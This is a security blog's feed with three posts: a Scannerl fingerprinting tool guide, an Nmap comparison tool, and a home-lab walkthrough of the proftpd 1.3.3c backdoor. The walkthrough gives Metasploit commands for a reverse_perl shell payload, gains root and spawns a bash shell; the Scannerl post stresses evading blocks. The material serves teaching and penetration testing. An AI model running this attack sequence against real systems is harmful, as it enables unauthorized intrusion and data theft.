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		<title>Modular Distributed Fingerprinting Engine – Scannerl</title>
		<link>http://kostacipo.stream/modular-distributed-fingerprinting-engine-scannerl/</link>
					<comments>http://kostacipo.stream/modular-distributed-fingerprinting-engine-scannerl/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Fri, 25 Jul 2025 20:53:06 +0000</pubDate>
				<category><![CDATA[Information Gathering]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Detection]]></category>
		<category><![CDATA[Distributed scanning]]></category>
		<category><![CDATA[Erlang]]></category>
		<category><![CDATA[Fingerprinting]]></category>
		<category><![CDATA[Network Analysis]]></category>
		<category><![CDATA[Network Scanner]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2224</guid>

					<description><![CDATA[<p>Introduction Scannerl is a modular, distributed fingerprinting engine implemented in Erlang. It can scan very large number of targets on a single host, but also can be distributed across multiple hosts. This tool is tested on Linux (Ubuntu, Debian, Arch &#38; Kali Linux), but should work on other Linux distros, too. Fingerprinting implies analyzing networks for vulnerabilities. The purpose is to [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/modular-distributed-fingerprinting-engine-scannerl/">Modular Distributed Fingerprinting Engine – Scannerl</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h3>Introduction</h3>
<p>Scannerl is a modular, distributed fingerprinting engine implemented in <a href="https://www.erlang.org/" target="_blank" rel="noopener nofolloq">Erlang</a>. It can scan very large number of targets on a single host, but also can be distributed across multiple hosts. This tool is tested on Linux (Ubuntu, Debian, Arch &amp; Kali Linux), but should work on other Linux distros, too.</p>
<div class="alert alert-info">Fingerprinting implies analyzing networks for vulnerabilities. The purpose is to accumulate as much information as possible, including the target’s OS, database version, configurations, architecture, etc. Therefore, attacker can identify OS information (version, nodes, etc) that run on specific target and find which vulnerabilities to exploit.<br />
The remote fingerprinting can be classified in two categories: active and passive. In active fingerprinting we can send specifically created packets to the target machine and monitor the response. In passive fingerprinting we can sniff TCP/IP ports and monitor traffic between machine and nodes. Passive fingerprinting is less accurate than active fingerprinting, but pentesters and hackers often opt for this technique when they want to avoid detection.</div>
<h2>Scannerl: Modular Distributed Fingerprinting Engine</h2>
<p>Scannerl is an open source distributed fingerprinting tool developed by <a href="https://www.kudelskisecurity.com/" target="_blank" rel="nofollow noopener">Kudelski Security</a>. There are other fingerprinting tools, but those tools come with different limitations/problems such as: scanning on a few hosts at the time (not suitable for large IP addresses ranges); higher probability of being blacklisted, if large IP addresses range is protected by IPS devices (incomplete information). Scannerl successfully fights these limitations, therefore you can fingerprint multiple hosts simultaneously.</p>
<p>What is ZMap to port scanning, Scannerl is to fingerprinting. So, if you are planning large-scale fingerprinting sessions, this tool is the right choice. You can use it on a single host, but you can also easily distribute work over several machines.</p>
<h3>Features:</h3>
<ul>
<li>Fast: With Scannerl you can spread the tasks across multiple hosts and increase the overall performance. Other fingerprinting tools are limited by the available resources of the host they run on (network card, CPU, RAM, network bandwidth, etc.). Cluster of virtual servers will be enough to perform large-scale scans, there is no need for high-end server.</li>
<li>Distributed:  Master/Slave architecture enables workload across different hosts. Process is easy and transparent, you’ll only need to provide the hosts to use.</li>
<li>Scalable: Thanks to Erlang’s small sized processes, the tool can execute a large number of tasks in parallel, on the same host. Since Scannerl has ability to distribute the work across different hosts, we can say that it’s high-functioning and easily scalable tool.</li>
<li>Modular: You can easily add custom modules in order to fingerprint specific protocols and services in a few lines of code. In addition, it’s possible to add output modules to insert any results directly into a database technology of your choice.</li>
<li>Stealth: Reduced chance of being blocked. When using a single host to fingerprint a large number of IPs, there are high possabilites that ISPs/Firewalls might block your probes. But with Scannerl you can distribute your scan among several IP addresses and reduce the chance to be blocked.</li>
<li>Smart: Scannerl can retrieve specific information from a fingerprint session (a field in the header, the version, etc.).</li>
</ul>
<h3>Requirements:</h3>
<ul>
<li>Erlang v18+</li>
</ul>
<h3>Modules</h3>
<p>This fingerprinting tool is very modular, therefore it’s easy to add new modules at compile time or dynamically (external file). Available modules:</p>
<div class="row justify-content-center">
<div class="card-deck">
<div class="col-12 col-lg-6">
<div class="card mb-2">
<h4 class="card-header bg-white text-center">Fingerprinting modules</h4>
<div class="card-body">
<ul>
<li><code>bacnet</code>: Bacnet identification</li>
<li><code>chargen</code>: Chargen amplification factor identification</li>
<li><code>fox</code>: FOX identification</li>
<li><code>httpbg</code>: HTTP Server header identification</li>
<li><code>httpsbg</code>: HTTPS Server header identification</li>
<li><code>https_certif</code>: HTTPS certificate graber</li>
<li><code>imap_certif</code>: IMAP STARTTLS certificate graber</li>
<li><code>modbus</code>: Modbus identification</li>
<li><code>mqtt</code>: MQTT identification</li>
<li><code>mqtts</code>: MQTT over SSL identification</li>
<li><code>mysql_greeting</code>: Mysql version identification</li>
<li><code>pop3_certif</code>: POP3 STARTTLS certificate graber</li>
<li><code>smtp_certif</code>: SMTP STARTTLS certificate graber</li>
<li><code>ssh_host_key</code>: SSH host key graber</li>
</ul>
</div>
</div>
</div>
<div class="col-12 col-lg-6">
<div class="card">
<h4 class="card-header bg-white text-center">Output modules</h4>
<div class="card-body">
<ul>
<li><code>csv</code>: output to csv</li>
<li><code>csvfile</code>: output to csv file</li>
<li><code>file</code>: output to file</li>
<li><code>file_ip</code>: output to stdout (only IP)</li>
<li><code>file_mini</code>: output to file (only IP and result)</li>
<li><code>file_resultonly</code>: output to file (only result)</li>
<li><code>stdout</code>: output to stdout</li>
<li><code>stdout_ip</code>: output to stdout (only IP)</li>
<li><code>stdout_mini</code>: output to stdout (only IP and result)</li>
</ul>
</div>
</div>
</div>
</div>
</div>
<h2>Install</h2>
<p>To build from source and to use Scannerl, first you need to install <a href="https://www.erlang-solutions.com/resources/download.html" target="_blank" rel="nofollow noopener">Erlang/OTP:</a></p>
<ul>
<li>
<h4>Debian</h4>
</li>
</ul>
<pre>$ sudo apt install erlang erlang-src rebar</pre>
<ul>
<li>
<h4>Arch</h4>
</li>
</ul>
<pre>$ sudo pacman -S erlang-nox rebar</pre>
<p>Then clone Scannerl from the github repo, and build:</p>
<pre>$ git clone https://github.com/kudelskisecurity/scannerl.git
$ <span class="pl-c1">cd</span> scannerl
$ ./build.sh</pre>
<ul>
<li>
<h4>Kali</h4>
</li>
</ul>
<p>First install dependencies:</p>
<pre>$ sudo apt install libssl-dev automake autoconf libncurses5-dev</pre>
<p>Then install <a href="https://github.com/erlang/rebar3" target="_blank" rel="nofollow noopener">rebar</a> (Erlang build tool for compiling and testing Erlang applications):</p>
<pre>$ <span class="pl-c1">cd</span> /tmp
$ git clone git://github.com/rebar/rebar.git<span class="pl-k">;</span> <span class="pl-c1">cd</span> rebar
$ ./bootstrap
$ sudo cp rebar /usr/local/bin/rebar</pre>
<p>Install <a href="https://github.com/kerl/kerl" target="_blank" rel="nofollow noopener">kerl</a> and Erlang/OTP 20.1</p>
<pre>$ <span class="pl-c1">cd</span> /tmp
$ curl -O https://raw.githubusercontent.com/kerl/kerl/master/kerl
$ chmod +x kerl
$ sudo cp kerl /usr/local/bin/kerl
$ kerl build 20.1 20.1
$ sudo mkdir /opt/kerl<span class="pl-k">;</span> sudo chown -R <span class="pl-smi">$USER</span> /opt/kerl
$ kerl install 20.1 /opt/kerl/20.1</pre>
<p>Then you’ll be able to build Scannerl:</p>
<pre>$ <span class="pl-c1">source</span> /opt/kerl/20.1/activate
$ git clone https://github.com/kudelskisecurity/scannerl.git
$ <span class="pl-c1">cd</span> scannerl
$ ./build.sh</pre>
<h2>Basic Usage</h2>
<pre>$ ./scannerl -h
   ____   ____    _    _   _ _   _ _____ ____  _
  / ___| / ___|  / \  | \ | | \ | | ____|  _ \| |
  \___ \| |     / _ \ |  \| |  \| |  _| | |_) | |
   ___) | |___ / ___ \| |\  | |\  | |___|  _ &lt;| |___
  |____/ \____/_/   \_\_| \_|_| \_|_____|_| \_\_____|

USAGE
  scannerl MODULE TARGETS [NODES] [OPTIONS]

  MODULE:
    -m &lt;mod&gt; --module &lt;mod&gt;
      mod: the fingerprinting module to use.
           arguments are separated with a colon.

  TARGETS:
    -f &lt;target&gt; --target &lt;target&gt;
      target: a list of target separated by a comma.
    -F &lt;path&gt; --target-file &lt;path&gt;
      path: the path of the file containing one target per line.
    -d &lt;domain&gt; --domain &lt;domain&gt;
      domain: a list of domains separated by a comma.
    -D &lt;path&gt; --domain-file &lt;path&gt;
      path: the path of the file containing one domain per line.

  NODES:
    -s &lt;node&gt; --slave &lt;node&gt;
      node: a list of node (hostnames not IPs) separated by a comma.
    -S &lt;path&gt; --slave-file &lt;path&gt;
      path: the path of the file containing one node per line.
            a node can also be supplied with a multiplier (&lt;node&gt;*&lt;nb&gt;).

  OPTIONS:
    -o &lt;mod&gt; --output &lt;mod&gt;     comma separated list of output module(s) to use.
    -p &lt;port&gt; --port &lt;port&gt;     the port to fingerprint.
    -t &lt;sec&gt; --timeout &lt;sec&gt;    the fingerprinting process timeout.
    -T &lt;sec&gt; --stimeout &lt;sec&gt;   slave connection timeout (default: 10).
    -j &lt;nb&gt; --max-pkt &lt;nb&gt;      max pkt to receive (int or "infinity").
    -r &lt;nb&gt; --retry &lt;nb&gt;        retry counter (default: 0).
    -c &lt;cidr&gt; --prefix &lt;cidr&gt;   sub-divide range with prefix &gt; cidr (default: 24).
    -M &lt;port&gt; --message &lt;port&gt;  port to listen for message (default: 57005).
    -P &lt;nb&gt; --process &lt;nb&gt;      max simultaneous process per node (default: 28232).
    -Q &lt;nb&gt; --queue &lt;nb&gt;        max nb unprocessed results in queue (default: infinity).
    -C &lt;path&gt; --config &lt;path&gt;   read arguments from file, one per line.
    -O &lt;mode&gt; --outmode &lt;mode&gt;  0: on Master, 1: on slave, &gt;1: on broker (default: 0).
    -v &lt;val&gt; --verbose &lt;val&gt;    be verbose (0 &lt;= int &lt;= 255).
    -K &lt;opt&gt; --socket &lt;opt&gt;     comma separated socket option (key[:value]).
    -l --list-modules           list available fp/out modules.
    -V --list-debug             list available debug options.
    -A --print-args             Output the args record.
    -X --priv-ports             use only source port between 1 and 1024.
    -N --nosafe                 keep going even if some slaves fail to start.
    -w --www                    DNS will try for www.&lt;domain&gt;.
    -b --progress               show progress.
    -x --dryrun                 dry run.</pre>
<h2>Distributed scan [setup &amp; usage]</h2>
<p>In order to perform distributed scan, you’ll need:</p>
<ul>
<li>Master node: to run Scannerl’s binary (needs installed Scannerl)</li>
<li>Slave node(s): to connect Scannerl (need installed Erlang)</li>
</ul>
<p>Requirements – all hosts:</p>
<ul>
<li>have the same version of Erlang installed</li>
<li>are able to connect to each other using SSH public key</li>
<li>names resolve (use <em>/etc/hosts</em> if no proper DNS is setup)</li>
<li>have the same <a href="http://erlang.org/doc/reference_manual/distributed.html" target="_blank" rel="nofollow noopener">Erlang security cookie</a></li>
<li>must allow connection to Erlang EPMD port (<code>TCP/4369</code>)</li>
<li>have the following range of ports opened: <code>TCP/11100</code> to <code>TCP/11100</code> + <code><em>number-of-slaves</em></code></li>
</ul>
<p>To use, provide a list of slaves – example (<code> -s </code>or <code>-S </code>switches):</p>
<div class="highlight highlight-source-shell">
<pre>$ ./scannerl -m httpbg -d example.com -s host1,host2,host3</pre>
<p>To list all available modules, type <code>-l</code>:</p>
<pre>$ ./scannerl -l
</pre>
</div>
<h2>Standalone usage</h2>
<p>You can use Scannerl on the local host without any other host, but the slave will be created anyway. So, you’ll need to fulfill same requirements described above. Make sure your host is able to resolve itself with the following:</p>
<pre>$ grep -q <span class="pl-s"><span class="pl-pds">"</span>127.0.1.1\s*<span class="pl-pds">`</span>hostname<span class="pl-pds">`</span><span class="pl-pds">"</span></span> /etc/hosts <span class="pl-k">||</span> <span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">"</span>127.0.1.1 <span class="pl-pds">`</span>hostname<span class="pl-pds">`</span><span class="pl-pds">"</span></span> <span class="pl-k">|</span> sudo tee -a /etc/hosts</pre>
<p>Then create SSH key and add it to the <code>authorized_keys.</code> It’s assumed that you have SSH server running:</p>
<pre>$ cat <span class="pl-smi">$HOME</span>/.ssh/id_rsa.pub <span class="pl-k">&gt;&gt;</span> <span class="pl-smi">$HOME</span>/.ssh/authorized_keys</pre>
<p>Standalone scan example:</p>
<pre>$ ./scannerl -m httpbg -d example.com</pre>
<p><a href="https://github.com/kudelskisecurity/scannerl/wiki">Documentation</a><br />
<a href="https://github.com/kudelskisecurity/scannerl">Download</a></p>
<p>The post <a href="http://kostacipo.stream/modular-distributed-fingerprinting-engine-scannerl/">Modular Distributed Fingerprinting Engine – Scannerl</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
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			</item>
		<item>
		<title>Nmap Analysis Tool – Enhancing Network Security Through Advanced Analysis And Reporting</title>
		<link>http://kostacipo.stream/nmap-analysis-tool-enhancing-network-security-through-advanced-analysis-and-reporting/</link>
					<comments>http://kostacipo.stream/nmap-analysis-tool-enhancing-network-security-through-advanced-analysis-and-reporting/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Sat, 02 Mar 2024 23:20:51 +0000</pubDate>
				<category><![CDATA[Networks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Vulnerability Analysis]]></category>
		<category><![CDATA[network scanning]]></category>
		<category><![CDATA[nmap]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2199</guid>

					<description><![CDATA[<p>This CLI python script is designed to be used by security consultants, IT admins and network engineers to do two things, compare two Nmap XML files to create a spreadsheet that compares IPs, ports and services between the files, and create a markdown report using GPT. Screenshots Features Comprehensive Nmap XML Parsing Multiple File Support: [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/nmap-analysis-tool-enhancing-network-security-through-advanced-analysis-and-reporting/">Nmap Analysis Tool – Enhancing Network Security Through Advanced Analysis And Reporting</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>This CLI python script is designed to be used by security consultants, IT admins and network engineers to do two things, compare two Nmap XML files to create a spreadsheet that compares IPs, ports and services between the files, and create a markdown report using GPT.</p>
<h2 class="wp-block-heading"><strong>Screenshots</strong></h2>
<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" class="td-animation-stack-type0-2" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii1617EgqwB2SASox3fLQJDoakjvbCcOefh_DIYSeCoflLm0bksvrBM-JHq7BP-bYb0H7q3YUksyNwGwRtaSuWvVOsCxTKlTwyj2pq9eUt0zPsBligrQFTK9KZQUS88cKSEzi9U3q2Ko7b9KYYQytpa8lpUO_xn85MT5TE6F2D095i5bAeNSFTVGAAZxXA/s16000/spreadsheet.webp" alt="" /></figure>
</div>
<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" class="td-animation-stack-type0-2" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBpEqzLvVb3-s7FA3sEkKn4SV84ocKoAadE9xBAzsWpgWic2lb-rRPB7dmgr4cbFP2E0mB4oFR2wdGOLYZ_xZtUzPaCjNCx4vq1mbYnzO7A_pUxsQCHbv4F_1s14UJISxgYoOQbYcXJ84UbeXNF97CVlR4nd7puNigFUNgW4jNTEtfqwfvEhkTiVEbTBTs/s16000/spreadsheet-pie.webp" alt="" /></figure>
</div>
<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" class="td-animation-stack-type0-2" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnEKSKqDEN-YewRZALmeBMhFkLNiHcn5PRC5yFlgdlLiihsNZBV7D7AURn-ErjVHqH-_Of2Hu4T4abP9kEHblP-9dE0sNneb0Xv9G6h2qDIT7pQuLgkVf8OSWC6-lJPJ2PhMXuFpvcjj183_yaCZwK37-fmmCKRMqS8S8gD6mEovUpz9mZX_TagWxDhKRL/s16000/gpt-report.webp" alt="" /></figure>
</div>
<h2 class="wp-block-heading"><strong>Features</strong></h2>
<h3 class="wp-block-heading"><strong>Comprehensive Nmap XML Parsing</strong></h3>
<ul>
<li><strong>Multiple File Support</strong>: Parse and analyze two Nmap XML output files.</li>
<li><strong>Structured Data</strong>: Converts Nmap’s XML output into a structured format for further processing.</li>
</ul>
<h3 class="wp-block-heading"><strong>Comparative Analysis</strong></h3>
<ul>
<li><strong>Change Detection</strong>: Compare results from two Nmap scans to identify new, altered, or removed services and ports. Useful for when you scan the same IPs from different source IPs or over time.</li>
<li><strong>Excel Reporting</strong>: Automatically generates detailed Excel spreadsheets with the comparison results and some stats.</li>
</ul>
<h3 class="wp-block-heading"><strong>Statistical Overview And Visualization</strong></h3>
<ul>
<li><strong>Network Exposure Statistics</strong>: Offers statistical analysis on detected services and open ports.</li>
<li><strong>Excel Visualizations</strong>: Includes pie charts in Excel reports for a graphical representation of the network’s security posture.</li>
</ul>
<h3 class="wp-block-heading"><strong>AI-Powered Insights With GPT</strong></h3>
<ul>
<li><strong>GPT Report Generation</strong>: Uses OpenAI’s GPT to generate insightful analysis reports based on Nmap result stats. The tool uses a hardcoded prompt that sets the tone and requirements, then the script inserts the stats (no identifying information is provided) and if -c –context has been provided, it’ll add the context to the bottom of the prompt.</li>
<li><strong>Customizable Context</strong>: Enhance GPT analysis by providing additional context, tailoring the report to specific needs.</li>
</ul>
<h2 class="wp-block-heading"><strong>Usage</strong></h2>
<p>The script prints the help page if no args are passed, or you can access with <code>python nmap-analysis.py -h</code></p>
<ul>
<li><strong>Comparing Nmap Scans</strong>:</li>
</ul>
<pre class="wp-block-code"><code>python nmap-analysis.py compare -ff (--first-nmap-file) path/to/first.xml -lf (--last-nmap-file) path/to/second.xml</code></pre>
<ul>
<li><strong>Generating a GPT Report</strong>:</li>
</ul>
<pre class="wp-block-code"><code>python nmap-analysis.py gpt-report -gf (--gpt-nmap-file) path/to/nmap.xml -c (--context) "Your optional context here"</code></pre>
<h2 class="wp-block-heading"><strong>Installation and Setup</strong></h2>
<h3 class="wp-block-heading"><strong>Prerequisites</strong></h3>
<ul>
<li>3.10+ probably (created using 3.12)</li>
<li>An OpenAI API key for GPT report generation that is set in local env</li>
</ul>
<h3 class="wp-block-heading"><strong>Secure Installation with <code>venv</code></strong></h3>
<ol>
<li><strong>Clone the Repository</strong>:</li>
</ol>
<pre class="wp-block-code"><code>git clone <a href="https://github.com/FlyingPhish/Nmap-Analysis.git">https://github.com/FlyingPhish/Nmap-Analysis</a>
cd nmap-analysis-tool</code></pre>
<p>2. <strong>Create a Virtual Environment</strong>:</p>
<pre class="wp-block-code"><code>python3 -m venv venv</code></pre>
<ol start="3">
<li><strong>Activate the Virtual Environment</strong>:</li>
</ol>
<ul>
<li>On Windows:</li>
</ul>
<pre class="wp-block-code"><code>.\venv\Scripts\activate</code></pre>
<p>The post <a href="http://kostacipo.stream/nmap-analysis-tool-enhancing-network-security-through-advanced-analysis-and-reporting/">Nmap Analysis Tool – Enhancing Network Security Through Advanced Analysis And Reporting</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
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		<item>
		<title>Exploiting the proftpd Linux Server</title>
		<link>http://kostacipo.stream/exploiting-the-proftpd-linux-server/</link>
					<comments>http://kostacipo.stream/exploiting-the-proftpd-linux-server/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Mon, 24 Jul 2023 22:21:29 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2155</guid>

					<description><![CDATA[<p>Computer systems get attacked daily. Ransomware, malware, stolen credentials, video game makers’ source code gets leaked, and money drained from users’ accounts dominate our news feeds. But how do hackers gain initial access to compromise a system? Let’s take a look at how a breach could happen. Don’t get too excited. This Behind the Scenes [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/exploiting-the-proftpd-linux-server/">Exploiting the proftpd Linux Server</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Computer systems get attacked daily. Ransomware, malware, stolen credentials, video game makers’ source code gets leaked, and money drained from users’ accounts dominate our news feeds. But how do hackers gain initial access to compromise a system? Let’s take a look at how a breach could happen.</p>
<p>Don’t get too excited. This Behind the Scenes (BTS) walkthrough is using an old, patched, well-documented vulnerability that was fixed shortly after it was discovered, but it serves as a great example showing how Linux servers are exploited if you don’t keep them patched and up-to-date.</p>
<p>We’ll go through the steps threat actors use to infiltrate a system:</p>
<ul>
<li>Reconnaissance</li>
<li>Scanning</li>
<li>Obtaining Access</li>
<li>Exfilitrating data</li>
<li>Maintaining Persistence</li>
<li>Pivoting</li>
</ul>
<h2 id="h-lab-environment">Lab Environment</h2>
<p>The local home lab provides everything we need for this walkthrough.</p>
<ul>
<li>Vulnerable Linux Machine &#8211; Ubuntu 16.04
<ul>
<li>proftpd 1.3.3c</li>
<li>Apache HTTP</li>
<li>OpenSSH</li>
</ul>
</li>
<li>Attacking Machine &#8211; Ubuntu Server 22.04
<ul>
<li>Nmap</li>
<li>Metasploit</li>
</ul>
</li>
</ul>
<p>These tools are widely used by penetration testers, network administrators, and threat actors alike. The first tool is Nmap, short for Network Mapper. For network admins, Nmap helps to find networked computers, discover open ports, available services, and detect known vulnerabilities on their network. Once a list of services is discovered, they can be exploited.</p>
<h2 id="h-scanning-with-nmap">Scanning with Nmap</h2>
<p>This is part of the reconnaissance or scanning phase where the threat actor wants to learn as much about the target system as they can. Because this is a demonstration we are not going to be quiet about our attack and will do nothing to conceal our intentions. We will use <strong>-sV</strong> option that tells us the current version of any services that are running. This is a noisy attack that should be picked up by most intrusion detection systems or SIEMs.</p>
<p><code>$ nmap -sV 10.10.10.172</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='242.6896551724138'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The results from this command reveal a lot about our target system. Each open port is vulnerable to a potential attack. In our simulated attack, we are going to concentrate on the ftp service running the <strong>proftpd 1.3.3c</strong> software on Port 21.</p>
<table>
<tbody>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>State</th>
<th>Service</th>
<th>Version</th>
</tr>
<tr>
<td><strong>21</strong></td>
<td><strong>tcp</strong></td>
<td><strong>open</strong></td>
<td><strong>ftp</strong></td>
<td><strong>proftpd 1.3.3c</strong></td>
</tr>
<tr>
<td>22</td>
<td>tcp</td>
<td>open</td>
<td>ssh</td>
<td>OpenSSH 7.2p2</td>
</tr>
<tr>
<td>80</td>
<td>tcp</td>
<td>open</td>
<td>http</td>
<td>Apache 2.4.18</td>
</tr>
</tbody>
</table>
<p>The <strong>proftpd 1.3.3c</strong> software was patched over 10 years ago but serves as a good example of how a vulnerable piece of software can be exploited. It is highly unlikely to still be running as an unpatched service.</p>
<h2 id="h-researching-vulnerabilities">Researching Vulnerabilities</h2>
<p>We could use Google to learn more about the vulnerabilities in the <strong>proftpd 1.3.3c</strong> server, or we can use the next tool in our toolbox, Metasploit, and use its built-in database to find known vulnerabilities.</p>
<p>Metasploit is an open-source penetration testing framework that helps network administrators, and security professionals discover vulnerabilities in their systems before exploitation by hackers. Complete with various tools, libraries, user interfaces, and modules, Metasploit allows a user to research, configure a payload, point it at a target, and launch an attack. Metasploit’s extensive database contains hundreds of exploits and payloads. Unfortunately, Metasploit is also widely used by threat actors.</p>
<h2 id="h-launching-metasploit">Launching Metasploit</h2>
<p>Find installation <a href="https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">instructions for Metasploit in the documentation</a> and start the Metasploit framework as root with the following command.</p>
<p><code>$ sudo msfconsole</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='456.23336745138175'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<h2 id="h-search-the-database-for-known-exploits">Search the Database for Known Exploits</h2>
<p>Metasploit comes with an extensive database and technical details of over 180,000 vulnerabilites and 4000 exploits. These are all searchable with the <strong>search</strong> command from the Metasploit command line. We are going to use this database to find <strong>proftpd 1.3.3c</strong> vulnerabilities and known exploits.</p>
<p><code>msf6&gt; search proftpd 1.3.3c</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='171.63141993957703'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The results of the search command reveal that there is a backdoor command execution exploit. This is what we are going to use to gain access to the Linux server.</p>
<h2 id="h-gaining-system-access">Gaining System Access</h2>
<p>Let’s begin initial access to the server by configuring our attack by typing <em><strong>use exploit/unix/ftp/proftpd_133c_backdoor</strong></em> <em>or simply the module ID number, <strong>use 0.</strong></em></p>
<p><code>msf6 &gt; use exploit/unix/ftp/proftpd_133c_backdoor</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='59.20550847457628'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Use the <strong>show payloads</strong> command to display the payloads available for the proftpd_133c_backdoor module.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; show payloads</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='293.33668341708545'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>From the available payloads for the proftpd_133c_backdoor exploit, we are interested in <strong>Option 5</strong>, the <strong>payload/cmd/unix/reverse_perl command</strong>. Set the option using the payload number or the full command as follows:</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set PAYLOAD cmd/unix/reverse_perl</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='60.29962546816479'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Now we need to make some site-specific configuration settings. The first is the IP address of the target machine. Set the remote host IP address with the RHOSTS command. This is the same IP address we used during our Nmap scan earlier and the machine that is running the proftpd_1.3.3c server.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set RHOSTS 10.10.10.172</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='47.614035087719294'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The local IP address is the computer that we are using for this attack. In our case, the LHOST is 10.10.10.171.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set LHOST 10.10.10.171</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='752' height='55.97074468085106'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The Metasploit configuration is complete. Run the exploit with the <strong>exploit</strong> command.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; exploit</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='98.14973262032085'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>This exploit takes a few seconds to run. When you see ‘Command shell session 1 opened’ you can issue Linux commands by typing a command name. In our example, entering the <strong>whoami</strong> command displays the current user, which is root. This is a big deal! Root is the superuser account in UNIX, has administrative purposes, and typically has the highest access rights on the system.</p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='100.03174603174602'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>At this point, the system is compromised and you can do whatever you want.</p>
<h2 id="h-gaining-a-shell">Gaining a Shell</h2>
<p>To have any real fun on our compromised system we are going to want a full Linux shell. The following python command spawns a bash shell.</p>
<pre class="language-bash" tabindex="0"><code class="language-bash">python3 <span class="token parameter variable">-c</span> <span class="token string">'import pty; pty.spawn("/bin/bash")'</span>
</code></pre>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='745' height='40.75167785234899'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Once we have a proper shell we can move through the system as root, having full access to the Linux environment. This is where the system is most vulnerable. As root we can install rootkits, malware, ransomware, and exfiltrate data.</p>
<h2 id="h-data-exfiltration">Data Exfiltration</h2>
<p>Data exfiltration is when a threat actor performs the unauthorized copying, transfer, or retrieval of data from a computer or server. As root, we have full access to the computer and can do anything we want including data exfiltration.</p>
